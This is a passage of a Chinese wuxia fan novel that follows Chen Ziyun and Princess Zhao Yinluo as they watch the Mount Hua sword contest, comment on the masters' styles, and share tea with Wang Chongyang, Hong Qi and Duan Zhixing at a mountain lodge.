等陈子云将这些靠宗教口语清心静神的诀窍交给赵茵萝,那边已经重新打起来了。 华山论剑,虽然不是只有剑没有论,但是要完全靠理论折服其他人,终究是有些过于理想化了。 论道论到最后,终究还是要动手试试才知道,对方说的道,到底对不对。 就好比几年前,陈子云与王重阳的那一场论道,两人都不是好斗的,可到了最后还不是免不了要打上一场。 “子云师傅,你不去夺个天下第一当当?” 赵茵萝这语气似乎是在说,只要陈子云出手,这天下第一的名头好像就是囊中之物似的。 “你呀,可千万别小看天下的人物,尤其是眼前这几位。你的功夫是骤然之间得来的,就算你在功力上可能与他们旗鼓,但是说到真正的战斗力,你连周伯通都难以相当。” 陈子云道。 “哼,他刚才还被我打着跑呢。” 赵茵萝对于其他几人是没把握的,但是对于周伯通,自问是能够拿捏的。 “你小看周伯通了,这人一颗童心,天性纯真,暗合道家无为之道,将来的成就绝不在王重阳之下。 就算是现在,认真的动起手来,你也绝对讨不了好。” “那子云师傅,你是说,刚才是他在故意相让?” 赵茵萝有些不确定的问道。 “故意想让倒也不是,只是他既然知道我们的关系,自然下意识的就不会与你竭力相争。 而他本来就是事事玩闹的心态,自然不会跟你较真,只是当做跟你闹着玩的。看你太认真,自然就觉得不好玩了,那他就只能跑了。” 陈子云说道。 “……” 赵茵萝看着另一边正在认真观看其他人切磋的周伯通,一时有些难以置信。 可随即,自己的目光好像惊动了对方似的。刚才还在全神贯注的看别人打架的周伯通,突然转过头,朝着赵茵萝他们所在的方位挥了挥手。 “他?” 赵茵萝惊异的不能自语。 陈子云笑着跟对面的周伯通挥手示意。 “这就是万物不凝滞于心,同时又能感应万物变动的心境。也可以换句话说,就是秋风未动蝉先觉。” “秋风未动蝉先觉?” “不错,当一个人心思纯净,就有先人一步的知觉能力,就好比一般人闭上眼睛的时候,听觉总是会灵敏一些。” 陈子云道。 赵茵萝闭上眼睛,听着四周的声音。 最明显的自然是对面的打斗声,可随着她不断的调整自己的心境,让心态变的平和。 风声,雪地扬沙声,陈子云的呼吸声,甚至于有雪压松枝发出的,平时根本不能听到了吱呀声。 都开始越来越显得清晰。 “太上台星,应变无停……” 赵茵萝耳边突然响起陈子云的吟唱之声,初始她还不明白是什么意思直到听到“智慧明净,心神安宁”,她的心神似乎像是得到了庇护。 原本耳中纷杂的声音也变得清净,但是这种清净不是说让她听不见,成了聋子,而是就算外音环绕,也能在其中自然畅游,不为外物所迷。 等赵茵萝缓缓睁开眼睛,她的那双不大的眼睛却是充满了光泽,就像是被刚刚擦拭过的水晶一般透彻明亮。 “子云师傅,刚才你念的是什么?” 陈子云摇摇头。 “是什么不重要,重要的是你要记住这种感觉。以后你要是遇到了这样的能惑人心智的声音,就要用这种感觉去屏蔽它们。” 赵茵萝慎重的点点头。 第二百〇一章 观战 “好了,你也不要操之过急,以后多练习几次就是了。黄药师苦心孤诣才创出来的碧海潮生曲,不是你能在这须臾之间就破解的了的。” 陈子云道。 “你练武的时间毕竟太短,如今既然到了这华山之上,千万不可错过这难得一见的盛事。 平时你可见不到如此多的江湖绝顶人物聚在一起切磋论道,尤其是对你这样功夫不差,就是欠缺对天下武学见识的人,更是大有裨益。” “哼,这些人的功夫也就这样,还不一定有子云师傅你厉害呢。” 赵茵萝有些倔强的回了一句。 “看人的功夫不在于厉不厉害,而在你能不能从其中得到借鉴。我的武学你早就熟悉的不能再熟悉了,再看也得不到什么长进。 而对于这些来自于天下各地的绝顶高手,他们的武学代表了这个世界的高峰。 先不论他们的人品如何,就光从他们的武学造诣来讲,都足够做你的老师了。” 陈子云道。 “哼,别人再厉害又如何,我赵茵萝此生绝不拜其他人……” “好了,先看,王重阳已经在给段智兴放水了,看看其中的关窍。” 陈子云打断了赵茵萝的话,因为他知道这位小公主一旦话出口,就强迫般的要求自己去做到。 这样的自我允诺虽然是性格坚毅的表现,但是过多的对自己信守承诺的要求,其实也是对自己过往的那种软弱的自卑,她时刻想着要调整或者说是掩盖那段过去。 陈子云开始给赵茵萝讲解几人的武功招式,出招时对于时机的把握,以及推算对方的下一招,或者是后面几招的计划会是如何。 当然就算是陈子云,他的语速也不可能跟得上那几位的出招速度,他也只是挑一些觉得精彩的,或者说是出人意料的招式做点评。 而且他之所以能预测,也是因为他已经跟他们中除了欧阳锋之外的其他几位都交过手了。尤其是王重阳,对方基本是把全真教的所有武学倾囊相授了。 所以陈子云如今点评几人的时候,虽然王重阳的武功是高出其他几人半筹的,却是他最能预料下一招的。 赵茵萝也许是因为知道自己能被陈子云治好,也是多亏了这位王真人的先天功,所以对王重阳的武学也是格外的上心。 也时不时在跟自己的身体内的功法对照,学着王重阳的发劲方式。 “要是这全真教在我大宋境内该多好,我一定让爹爹重塑大殿,让王真人享一国之师的大位。” 赵茵萝道。 “哈哈哈,这倒是这老道以前求之不得的。可惜啊,时事使然,何其缪哉。” 陈子云道。 赵茵萝对如今的天下大势也是了然的,看着这本来属于大宋的大好风光,如今她一个当朝公主来此,却得小心翼翼,如何能不憋屈。 “总有一天,华山论剑还是会在大宋举行。” “哦,那我倒是期待的很。” 陈子云作为后来人,自然知道南宋以后的皇帝都是什么德行的。如果赵茵萝真的有这样志向,有魄力收拾旧山河。 就算是哪一天她准备行武周旧事,陈子云也愿意帮上一把。 而且作为宋宁宗唯一的子嗣,她当女皇的阻力肯定比武媚娘当女帝要小的多,毕竟南宋的朝臣不用担心这个天下是不是还姓赵的问题。 不过这些都是遥远的后话,宋宁宗如今可是春秋鼎盛的年纪。根据历史记载,宋宁宗应该还能活个20来年。 活到将近60岁的高龄(那可是在一个过了40岁就能自称老夫的时代),在皇帝这个职业里绝对不算短命的了。 “咦,那个家伙怎么真的像一只癞蛤蟆一般的趴在地上了。” 赵茵萝指着正在跟洪七对决的欧阳锋惊奇的道。 原来欧阳锋此时与洪七已经打出了真火,两人本来就是完全两种个性,却都想着在武学上胜过对方,自然打着打着就都用上了十二分的力道。 洪七那边也是把降龙十八掌打的连绵不绝,期间也不乏把挡路的石头给直接一掌拍碎的。 而欧阳锋也终于是拿出了看家门的本事,就算是在面对王重阳的时候他都不曾施展。 当然不是说欧阳锋看不起王重阳,只是他料定王重阳这样的为人,不会真的伤他。而他当时也明白了自己与王重阳之间的差距,就算把这压箱底的功夫拿出来也无济于事,反而白白给其他几位看个究竟,自然是不值得的。 所以众人此时也是纷纷好奇的盯着此时形态怪异的欧阳锋,只见他蹲在地下,双手弯与肩齐,嘴里发出咯咯叫声,宛似一只大青蛙作势相扑。 “哈哈哈,癞蛤蟆,癞蛤蟆,当真是一只癞蛤蟆。” 周伯通在一旁学着欧阳锋的样子也趴下身子,鼓着嘴巴说话。 “蛤蟆功是白驼山庄嫡传武学,此功纯系以静制动,全身蓄劲涵势,韵力不吐,只要敌人一施攻击,立时便有猛烈无比的劲道反击。” 陈子云朝赵茵萝解释道。 陈子云话还没落地,随着洪七一掌猛烈至极的降龙十八掌打出,欧阳锋的蛤蟆功也后发先至。 两人交手之处可谓是乱石纷飞,白雪飘扬。 “是谁胜了?” 赵茵萝有些急切的问道。 “如果你说的是在这场比试,那只能说是洪七赢了半招。” 陈子云道。 “为何是半招?” 赵茵萝不解的瞪大眼睛,似乎想看的更清楚些。 “他们两人的功夫应该是各有所长,总体实力在伯仲之间。可这次欧阳锋却是以肉掌与洪七的降龙十八掌对碰,不能说是以自己的弱点攻击他人的长处,可也算不得什么明智的选择。” 陈子云指着欧阳锋说道。 “那他这是为何?” “因为有些东西,欧阳锋是不会在这样的场合下显露出来的。或者说是他不敢在这些人面前显露,那些上不得台面的东西。” “子云师傅,你是说这个欧阳锋还藏着一手?” 赵茵萝很是惊讶。 虽然她表面上不认为自己不如人,但是其实内心也明白,不管是洪七还是其他几位,他们此时展现出来的功夫绝不是她能抵挡的。 而这位来自西域的欧阳锋竟然有这样的魄力,在面对这样的对手的时候竟然还有所保留。 第二百〇二章 欧阳锋的后手 “可他这么做又有什么好处,我看得出来,这位对于天下第一或者那部九阴真经可是眼热的很。” “不错,名利两字,这天下又有几人能逃。欧阳锋自然是想争这天下第一的名头跟旷世绝学九阴真经的。” 陈子云接着道。 “可是有些东西,要是在没有其他人的地方,暗算他人自然是再好不过的手段。可一旦有别的人在,而这些人还是能够对付他的,那他就不敢这么明目张胆了。” “到底是什么见不得人的东西,难道他拿出来就一定能赢吗?” 赵茵萝显然有些不信,毕竟功夫道了他们这种层次,一般的外物是起不了作用的。 “毒。” 陈子云神色严厉的吐出了一个字。 “毒?” 赵茵萝疑惑,一般的毒药对他们可没用。 “不错,你注意到欧阳锋的那根蛇杖了吗?” “当然。” 这么造型奇特的兵器,就是想不注意都不可能。 “那你可知道,他这根蛇杖里可是大有名堂。” “难道里面藏着剧毒?” 赵茵萝惊悚的说道。 “不错,不单单是剧毒,而且这还是一种活着的毒。” “活着的……毒?” 赵茵萝差点以为是陈子云在跟他说笑,可看对方认真的神情,她知道这绝对不是玩笑话。 “欧阳锋此人的武功确实也厉害,但是要说起此人最厉害,或者说是其他人无法企及的就是对于毒物的控制。 要不是王重阳找了个好日子,华山现在大雪封山。说不定欧阳锋来的时候还能驱赶半山的蛇来围攻众人,好让自己不用比武就能成为天下第一。” “蛇?” 赵茵萝身子都不自觉的抖动了一下,正常女性基本都是害怕这种冷血动物爬行还湿漉漉的长虫的。 “不错,白驼山的另一项绝学就是这御蛇之术。少量几条蛇类自然伤不到我们,但是一旦聚沙成堆,操蛇成阵,就算是我也要小心。 而且欧阳锋不单能御使蛇群,他的蛇杖之中还培育着两条至毒的小蛇。作为暗器,就算是洪七这样的高手被咬上一口,不死也没了半条命。 所以说,茵萝,这些人中你要是以后碰到其中一个,别的人都不用担心,唯有这欧阳锋。 要么你当时有把握绝杀他,要么就避开吧。” 陈子云道。 赵茵萝有些不敢置信的看着自己这位向来不把江湖人物放在眼里的相公师傅,又看看那个如今捂着胸在调息的欧阳锋。 一时之间无法相信,这么一个人物竟然能让陈子云如此忌惮。 其实陈子云不是自己忌惮欧阳锋,真要是打起来,大概率死的还是欧阳锋。毕竟蛇毒再烈,咬不到自己还不是无用。 欧阳锋蛇杖中的那两条小蛇,作为暗器偷袭倒是能建奇功,但是对于陈子云这样早就有所防备的人,功用早就大打折扣了。 何况,那小蛇就是再快,难道还能快的过小李飞刀不成。 陈子云只是担心,赵茵萝初生牛犊不怕虎,要是哪一天招惹到了这位真小人,能不正面对上,就不对上。 等自己赶到,或者直接用重兵围困才是正确的选择。 一个堂堂南宋公主的命,可比这些个江湖草莽金贵。瓷器何必跟瓦罐碰呢,你说是吧。 陈子云解说完欧阳锋的可怕之处,正等着下一场的开始,却发现对面好像没有再打下去的意思。 “子云,你们也过来吧,我们今天先到此为止,大家都有些疲乏了,先休息,明天再论个高低上下。” 王重阳对着陈子云他们这边传音道。 陈子云斜嘴一笑,这个王老道,也是坏的很,这不是明摆着坑欧阳锋吗。 今天先是王重阳把欧阳锋给揍了一顿,现在又被洪七给伤的不轻,嘿嘿,好个老道士,我喜欢。 众人随着兴高采烈的在前面引路的周伯通,来到了一处位于华山半山腰处的的别院。 看着这别院的规模,就知道绝对是哪位权贵建在这里度假消暑的。 如今不知道怎么就被王重阳,或者说是被全真教给收编了。 “怎么样,这地方不错吧。你们赶紧跟我来,里面可是豪华着呢。” 周伯通眉毛鼻子一起跳动着介绍着。 不过周伯通说的也算是不错,进了门,众人就见到一个规模不小的院落。 也不知道这院落是如何设计的,外面还是风雪连天可一到这院子里面,却不觉得有多少寒冷。 虽然不至于什么温暖如春,但是那假山流水,却是真实的,这里面却像是完全与院子外的白茫茫世界给隔开了。 “没想到这华山之上也有暖流的存在,这位建造这个府邸的人,却是用心了的。” 赵茵萝一眼就看出了这座别院的关键所在。 “夫人好见识。不错,这做府邸,确实是建在一座温泉的上方。本来这里是我教一个信众的度假之地,这次老道也是厚颜向他求来的。” 王重阳倒是直言不讳,完全不介意几人会认为他此举会有什么不妥。 “真人有心了,这样的地方,就是在我们大理也是难得一见。” 段智兴也是看着这别外的洞天赞叹不已。 洪七是不讲究这些的,所以也没觉得什么。 黄药师则是此中高手,能把桃花岛打造成那般光景的,对于这种只是借用了地势的粗制滥造当然不会看得上眼。 至于欧阳锋,作为西域一代的土皇帝,见过的稀罕物自然也不少,不至于此就失态。 这样的院落自然是需要常年有人能照看的,要不然过不了多久就要杂草丛生。 在仆人的带领下,一行人先是到了客厅,落座没多久,就有人端上了丰盛的菜肴。 显然是王重阳在上山前就交代过的,看菜色主要都是肉食,显然是给他们补充消耗的体力用的。 众人也不废话,好好的祭奠了一番自己的五脏庙。 虽然这些在几人眼中都是只能果腹的级别,但都吃了不少。 用浓茶解腻之后,众人就随着仆人去了自己的房间。至于说为什么没有喝酒,嘿,就算是再相信别人,也不敢在这样的时候让自己的脑袋放松片刻的。 第二百〇三章 华山别院 陈子云对于王重阳自然不会有所猜忌,可有欧阳锋这样的人物在场。谁敢肯定,对方就不会乘机来个一锅端,自己好当理所当然的天下第一。 恐怕不只是陈子云一个人这样想,其他几位也会下意识的防备欧阳锋这样的角色。 陈子云跟赵茵萝自然是被安排在一个房间的,不过这也没什么,他们早就习惯了一个睡里面,一个睡外面。 以陈子云的控制力,也不至于有走火的事情发生。 不过他们显然是少算了一个人,那就是从来都不安分的周伯通。 也不知道他是怎么想,竟然连门都不敲,直接就闯进了他们的房间。 赵茵萝迅速抽出衣架上的外套,同时一脚将整个衣架朝着周伯通踢了过去。 她这个时候可管不了,也不必管如此无礼闯入的人是谁。要是在自己的公主府里,这人就是直接拉出去埋了也没有错的。 “哎。” 陈子云自然也是有些气愤,可谁让他知道,这个时候的周伯通就是个完全的小孩子心性。在遇到他那位瑛姑之前,他根本没有男女之防的概念。 而且就算是看在王重阳的份上,陈子云也不能因为这种事情就对他如何。 陈子云直接起步,追上了被赵茵萝踢出去的衣架,一把抓住自己的外衣,披在身上。 随后一把揪住,还想开口说什么的周伯通,直接拎着他就出了房门。 “哼,登徒子。” 赵茵萝显然也是真的被气的不轻,要不然也不至于把陈子云的衣服连带着衣架一起踢出去。 陈子云抓住周伯通的时候,对方就想竭力的反抗,等陈子云将他放在门外,对方直接就进招了。 要是换做其他任何人,陈子云说不得就要让他知道花儿为何这样红了,可对于周伯通,哎。 这混不吝的东西,估计是以为陈子云在跟他过招呢。或者说,他之所以来房间里找他们,就是来切磋讨教的。 虽然他不清楚为什么自己刚进房门,就被赵茵萝给砸衣架,可他见此时的陈子云主动出手,自然是高兴的。 “哈哈,云朵,今天你那夫人可是追着我跑。你这会儿也得让我周伯通追一次,这样我才不吃亏。” 周伯通一边出手,一边还笑嘻嘻的说道。 陈子云心想,追着跑,不追着砍你就不错了。 “好啊,你有这个本事那就来。” 陈子云还是觉得收拾一下这个不明事理的顽童,让他永远也不敢再不敲门就进别人的房间。 周伯通此时的功夫还没有到后期他自悟空明拳与左右互搏的程度,自然也不曾学得九阴真经。 他此时的武功就是王重阳教的,得了三分真传,多的却是他那种跳脱性格自带的招式。 本来在王重阳手中中正平和的一掌,在周伯通使来却是走的不同寻常的掌路。 这也是他为什么后期会自创功法的原因,因为全真教的武学于他的个性终究是不合拍的。 所以,周伯通如今的武功,虽然不差,但那些改的不伦不类的东西,对付一般的高手尚可,要对付陈子云这样的宗师人物,还是太勉强了。 所以,没过几招,陈子云就已经在周伯通身上点了几指了。 第一指点在周伯通的下巴,让他直接就合不拢嘴,只能一边流着哈喇子一边出招。 第二指、第三指分别点在周伯通的双目之下,让他泪流不止,只能拼命的眨着眼睛将泪水挤出。 第四指则是点在了周伯通的小腹,顿时就让他腹内翻江倒海,内急难耐。 “呜呜,啊啊啊,云朵,哎呦,啊呦,憋不住了,你太坏了,不打了,不打了。” 周伯通一只手擦着口水、眼泪,一只手提着裤子,急匆匆的往茅房去了。 “哎,多谢子云小友你手下留情。” 王重阳从一旁走了出来。显然这位主人家,早就听到了这边的动静,过来查看了。 其实不只是王重阳,其他几位都来了,不过欧阳锋跟黄药师见是周伯通的胡闹,只是看了一眼,就离开了。 “七兄,段王爷,既然来了,不防一起饮一杯热茶再走。” 陈子云朝着两个方向抬了抬手,王重阳对此没有丝毫的意外,只是微笑着摸摸胡须。 果然,从北边凉亭后走出来的是洪七,从南边走廊里出来的是段智兴。 “哈哈哈,重阳真人,令师弟,可是吃大亏喽。” 洪七笑着对王重阳道。 “算不得,子云也不过是小惩大诫罢了。” 王重阳虽然不知道周伯通是怎么得罪了陈子云,不过以他对两人的了解,自然是能猜到,肯定是自己那个不着调的师弟做错了事情,才会被陈子云这般戏耍。 “真人果然宽宏,子云兄确实也只是惩戒了一番,我看伯通兄并无大碍。“ 段智兴也是怕几人起争执,就说了一句打圆场的话。 陈子云看了他一眼,不由得想到将来害这位成为绿帽子王的正是周伯通,而情形似乎就与如今的情形大致相同。 只不过自己这个丈夫没有只忙着练功,而是守在了夫人的房里。 “真人,周伯通虽然并无坏心,但那是这样擅自闯入有女宾在的卧房,终究是有违礼教的行为。 虽然事情不大,可要是连累了全真教的声誉,那也还是要真人早些预防、教化才好的。” 陈子云说的时候,虽然是对着王重阳的,可他的眼角却不自觉的瞥向段智兴。段王爷啊,段王爷,出不出家的无所谓,可绿帽子还是希望能不戴为好啊。 不过陈子云也就只能说道这一步了,真要是告诉几人,说周伯通将来可能霍乱大理的后宫。那估计他第一个要面对就是这位如今还雄心万丈的大理国主的生死相搏了。 “子云说的不错,我平时太惯着他了。哎,可惜我这位师弟的天真心性,本是练我道家武学的好资质,却不是俗世生活中的好性格。” 王重阳虽然这样说着,可陈子云明显能看出老道士眼中对周伯通的溺爱与期待。 恐怕他这位师兄是真的把周伯通当儿子养的。 而一旁的段智兴,自然是更加的不以为然,刚才他的那番话也不过是场面话而已,恐怕这绿帽子难摘啊。 第二百〇四章 小聚饮茶 赵茵萝也听见了房外的动静,出来做了个女子礼。陈子云将要请几位喝茶的事情跟她说了,赵茵萝先是楞了一下,随后笑着将几位引入了房内。 房间不大,但是一张喝茶的桌子还是有的,赵茵萝出门去张罗了,这客房里可没有现成的茶水。 几人坐落,先是天南地北的聊了一通。本来他们就是来自各个不同地方的人物,自然是有一番家乡习俗美景可聊的。 洪七讲着北边的情况,段智兴叙述大理的风光,王重阳则是介绍着钟南山的奇境,陈子云自然只能把临安的美景给介绍一番了。 “呵呵,几位明明都是武学上的大宗师,怎么反而讲起这些不着调的风光美景了?” 赵茵萝端着一个茶盘进来了,出口就先调侃了众人一句,不过明显是意有所指的。 “哈哈,老道今天既然进了子云的这扇门,自然不会就这样离开,弟妹要是想听什么,老道绝不推辞。” 王重阳首先表态了,这让洪七跟段智兴就有些坐蜡了,他们可不敢许下这样的承诺。 他们两人可与王重阳不同,他老人家是自创的全真教,想怎么着都是他这个祖师爷说了算。 可他们两人可都是有传承,有责任,也是有负担的。 洪七不可能违背丐帮的规矩,将一些传承的武功精要外传,段智兴也不能将属于段家的不传之秘透露。 “谢谢真人抬爱,外子曾说,茵萝之所以能活到如今,还要拜谢真人的功法。真人对茵萝有活命之恩,茵萝怎么还敢贪图其他。 茵萝只是不甘如今如真人这般的人物,竟然流落在金国之中,要是能回……” “好了,茵萝,今天在华山之上,我们就只谈武学,不谈国事。” 陈子云制止了赵茵萝的继续,用目光示意她适可而止。 因为他发现,王重阳此时的脸色也已经变的凝重了。 就是连段智兴与洪七也变得局促,他们一个是大理国主,一个是同样活跃在北方的大派之主。 对于南宋的看法,显然不只是正面的,痛失国土的同时,难免对赵家的皇权有些许微词。 “是茵萝鲁莽了。” 赵茵萝将盛放着茶具的托盘放在桌上,歉意的行了一个礼。 “诶,说不上。弟妹身为公主,能如此关怀国事,乃是天下幸事。且不说段王爷,老道与七兄的心中,大宋永远都是心中的故土。” 王重阳作为以前的抗金义士,对这天下大事难免心中有些感慨的。 “重阳真人说的不错,虽然我丐帮活跃在北方,但是身为大宋子民,一人不曾忘。” 洪七也是神情凛然的道。 赵茵萝摇摇头,看到陈子云皱眉的样子就知道,她今天这个话题确实找的不合适了。 “几位前辈见谅,本来说好的,在这华山之上,咱们只论江湖,不论天下,是茵萝坏了规矩。 茵萝且以这微薄的茶道,向诸位致歉。” 赵茵萝也不等几人客气,直接就操弄起了这套茶具。 第一杯不是给了别人,却是给了陈子云。 这让陈子云大为尴尬,他自然不会相信,是赵茵萝不懂规矩,自然明白是这小妮子在报复他刚才制止她畅谈天下的兴致。 “哈哈,弟妹好个性。” 段智兴同为皇族,自然是第一个看出了赵茵萝那种柔中带刚的个性。 王重阳跟洪七在接过茶汤之后,也是嗤笑着朝陈子云举杯示意。 陈子云只能陪笑着举杯。 “既然茵萝盛意难却,那这一杯我们就敬这华山绝顶,祝天下江湖后辈不绝,华山论剑万世不衰,如何?” “哈哈,子云倒是贪心的很,哪里有什么是万世长存的。” 王重阳笑着,看似是在笑话陈子云的不切实际,实则很是受用,毕竟这华山论剑是他搞出来的名堂,要是能流传后世,自然是一份功德。 “真人说的自然是至理,天下分分合合,既然没有百世的王朝,自然也不可能有万世的华山论剑。 可这一次便是创举,两次三次也是难得,何必执着千万次。” 段智兴喝了一口茶水说道。 “段王爷说的不错,哪里有什么万世的,叫花子就顾着眼前的这一顿,能吃饱就谢天谢地了。后面的事情,自然是当官的,当皇帝的操心。” 洪七将茶水一口而尽后说道。 “茶如何?” 赵茵萝却是突然看着陈子云问道。 陈子云有些莫名。 “不错,不错。” “只是不错?” 赵茵萝巧笑嫣然的问道。 陈子云有些坐蜡,他本就不善于品茶,况且刚才只是顾着照顾几位客人的感受了,哪里会好好的品鉴着茶水的好坏。 “哈哈,子云该打了,嫂夫人这茶可是下了功夫的,怎么能只用不错,如此粗鄙的二字打发。” 段智兴笑着说道,眼神中明显有促狭的意味。 王重阳在只是在一边微笑不语,洪七只会牛饮,自然是尝不出茶汤的好坏的,要是美味佳肴,他倒是能有一番见解。 “那段兄不防说说,这茶汤中的奥妙?” 陈子云自然是借坡下驴,撺掇着段智兴给自己解围。 就是连赵茵萝也是一脸期待的看着段智兴。其实作为陈子云的妻子,如何能不知道自己这位子云师傅对于茶道的一知半解,她只是突然来的心思,想看他出个小丑而已。 却不知道自己精心调制的茶汤,这位大理国主能说出个什么名堂来。 众人就这么拭目以待的看着段智兴,可段智兴作为一国之主,自然不会因为这点小场面而怯场。 “如此,那段某就斗胆了,要是有什么错漏的地方,还请嫂夫人见谅。” 赵茵萝做了一个茶道中的请品评的手势,段智兴则是回了一个担待的礼仪。 “茶的好坏,无非是几点,其中最为关键的,也是最终决定茶汤好坏的,在段某看来,无非就是几个字,源、水、具、火。 其中源,指的是茶叶的本源,好的茶树自然是最为紧要的。可今天这茶,嫂夫人自然只能是在这别院中早就备好的茶叶中选择。 这茶应该是今年春季产自西湖的明前龙井,嫂夫人选择此款茶叶倒也是正常不过。 可惜这茶到了如今,恐怕也只能算是二品。” 段智兴有些遗憾的说道。 第二百〇五章 品茶 “段王爷所说不错,可这已经是茵萝找遍这里之后,最好的茶了。” 赵茵萝缓缓的道。 “嫂夫人用心了,可惜是已经到了这个时候。这过了一年的茶还能泡出这样的形态,想必嫂夫人也是用心将里面品相差的叶片给祛除了。” 段智兴指着茶汤中沉浮的茶叶说道。 赵茵萝微笑着点点头。 其他几人则是侧目观察了一番茶叶的形态,不过以他们的见识,终究看不出其中的差别来。 这就是术业有专攻了,要是黄药师在此,必然不至于如此。 “咳咳,段王爷,那后面的几个又如何?” 陈子云为了缓解尴尬,只能催着段智兴继续讲了。 “子云兄莫急,这好水之于好茶,那是天生的相配方为最佳。本来饮用这龙井茶,最好自然是配上虎跑泉的。 可如今我们既然是在华山之上,自然是得不到这最佳的泉水。可嫂夫人却是用了山中泉水,配合这泉中落雪。 将这水再以炭火慢焙,让雪水与泉水相容,得到了这实在是难得的好汤。” 段智兴说的很是笃定,似乎就像是他看着赵茵萝烧水一般。 “王爷是如何知道的?” 就是连赵茵萝也是满脸的疑惑,要是一个人光喝水就能品味出她在水里放了什么,那也太过于神奇了。 其他几人也是一脸不解的看着段智兴。 “哈哈,要是换做别人可能真尝不出水里有雪的味道,但是几位难道忘了我大理的特殊地理了吗?” “雪山?” 洪七惊呼了一声。 “不错,小王也是突然奇想,本来就是想试着采集来玉龙雪上的积雪煮茶。可惜后来发现光用雪水泡茶,会将茶变得寡淡无味。 后来就试着用山泉水加入雪水来煮,确实别有一番风味。” 段智兴乐呵呵的道。 除了赵茵萝点头认同段智兴的操作,其他几人基本只是觉得,果然帝王之家的一些奢华不是他们能理解的。 段智兴此时简简单单一句话,不知道要动用多少的劳力去玉龙雪上采雪,而采集之后,又要如何保存,如何运到四季如春的大理国都。 恐怕这一两雪的价值,绝对不会小于一两黄金。 不过几人当然不会在这个时候提这种扫兴的事情。 “本以为这不过是我刚才的突发奇想的独创,没想到段王爷却是早就先人一步了。” 赵茵萝则是叹服。 “哈哈,嫂夫人过奖,那不过是段某年轻时的胡作非为罢了。后面才知道,就为了我当时的一时所好,不知苦了多少百姓。 我之所以对这种茶汤如此铭记,也是为了警醒自己,不可为了个人的一点喜好就不顾百姓肆意妄为。” 听到这话,陈子云几人相互对视一眼,都从对方的眼中看到了欣慰。 “好了,不说这些。水当真是好水,火也是这别院中窖藏的炭火,配合的相当出色。 至于这最后的具吗。” 段智兴轻轻在茶碗的边沿一弹,一阵如蜂鸣般的震颤,带动着碗中的水波荡漾。 “上好的汝窑,虽然算不得绝佳,但是也算难得。看来真人的这位信众,可不是普通的贵人啊。” 段智兴最后却是将话头抛给了王重阳。 “哈哈哈,不提也罢,不提也罢。” 王重阳挥挥手,意思是不愿意透露这位借了别院的人物的真实身份。 其实也不用王重阳说,如今能在华山这样的地方,建造这样一栋别院的人物。要么就是巨商大贾,要么就是金庭中的当朝权贵。 显然按照王重阳对金庭的态度,自然是前者更可能一些。 “既然享用了弟妹这么用心准备的茶汤,那老道自然也不能小气。全真教这些年也多了些女弟子,虽然是我的徒弟在教,但是老道也算是琢磨出了几套更适合女儿家的功夫。” 王重阳说道。 “茵萝谢过真人,可真人对茵萝已经有再造之恩,茵萝岂可用一杯茶就来要真人的绝学。” 赵茵萝这话算的是半真半假,她感谢王重阳的心思是真的,但是有一方面也是因为觉得自己学陈子云的功夫就已经够高深了,并不需要学王重阳的。 “茵萝,长者赐不敢辞,既然真人有意,你就先听着吧。” 陈子云此时却是发话了,他对于王重阳是真不用客气。对方连先天功都传了,自然是把赵茵萝当半个徒弟看,自然不会吝啬几套其他的功夫。 “那我与段王爷先回避吧。” 洪七说着就要起身。 “诶,不用。既然老道说了是合适女儿家的武功,两位要是听着觉得不差也大可教给家中的女眷,左右不过是几套一时之选的无功能,算不得什么。” 王重阳直接就拦下了两人,他竟然能在这个时候提出教赵茵萝武功,自然也是把洪七跟段智兴算在内的。 而且他也有个小心思,如今这全真教上下都没有一个学的了他的先天功的。要不是陈子云将半步先天功传给了赵茵萝,他都开始担心自己好不容易创出来的绝学,会在自己百年之后断绝。 所以陈子云的猜测是对的,王重阳不仅是把赵茵萝当成了半个徒弟,甚至还有传承衣钵的意思。 要不是碍于对方是赵宋皇室中人,说不得这位老道士能跟陈子云要人,将两位迎到终南山去。 王重阳说着就开始讲述所谓的女子功夫了,在坐的几人一听,也是纷纷点头。虽然王重阳说的功夫不是什么绝世武功,但是其中细节的处理,确实非比寻常。 其中的借力用力,招式轻灵多变,更是量身为赵茵萝这样先天不如男子高大有力,却灵活轻巧的女子定做的。 就算是陈子云也是暗暗点头,这个老道是真用心了。哎,以后,也就是这老道百年之后,自己还是帮忙看着全真教吧,省的被他那几个难成大器的徒弟给祸祸光了。 而洪七跟段智兴就更加为难了,虽然王重阳说不介意他们旁听,可他们哪里是得了好处不懂的回报的人。 而且他们如今跟王重阳一样喝了赵茵萝准备的茶水,既然王重阳做出了表率,他们又如何能不表示一番。 第二百〇六章 大事 所以他们也是一门心思的在思考,到底要拿出些什么来回报赵茵萝一番。要是太差的东西,不但赵茵萝看不上,也会被王重阳跟陈子云笑话。 要是太好,自己又实在心疼。 “七兄,其实你就不必了,上次在临安教给茵萝的逍遥游已经够她学的了。” 陈子云笑着说道。 “哼,子云兄这就是你说差了。上次逍遥游是我自己输给嫂夫人的,怎么能与这次混淆。 就算我叫花子没有你们这些达官贵人的家底,但是几招功夫终究是还是能拿得出手的。” 洪七自然也知道陈子云可能是故意在刺激他,可对方用的是阳谋,按照自己的性格本来就无法拒绝。 洪七迫不及待的就开始讲自己的武学了,似乎是怕陈子云再出言刺激他似的。 这次洪七讲的不是成套的功夫,而是他关于连功时候的心得。 这让大家都有些惊讶,不是说看不上洪七讲的东西,恰恰相反,是他讲的东西实在是太贵重了。 要说他们几个武学宗师手中什么东西是最尊贵的,那就是自己的那一套武学见解。 除了陈子云教赵茵萝的时候会毫不保留的和盘托出,就算是一般的师徒都不会这样倾囊相授的。 这次洪七可是大出血了,而他们几人中除了赵茵萝仔细聆听着,其他几人都自觉的左顾右盼,不敢真的将这些直指洪七武学要义的东西据为己有。 要不然光是这偷盗他们武学的心魔,也会让他们在面对洪七的时候,永远觉得亏欠他而无法正视对方。 就算是赵茵萝听完之后,也不得不起身恭恭敬敬的朝着洪七行了一个弟子礼。 赵茵萝虽然练武不过五六年,可她的起点太高,对于洪七讲的是什么东西,是多么重要的东西,如何能看不出来。 “嫂夫人无需如此,洪七我如此也是有自己的私心的。丐帮如今还在北方,可我丐帮弟子也没忘自己宋人的身份。 说句冒犯的话,临安的赵宋实在是太软弱了些,就是叫花子我几次提议总舵南迁,也终究是难以成事。 洪七我想借着嫂夫人跟子云兄的身份,要是两位能做些振兴我大宋的实事。别说叫花子的这些武学精要,就是顶着丐帮所有长老的反对,洪七也会一力促成丐帮南迁之事。” 洪七说的是眼中带泪的。 这下不只是赵茵萝,就是连陈子云都感觉到了几分压力。 “好你个洪七,你一个乞丐头子,倒是做起了这天下最大的生意来了。” 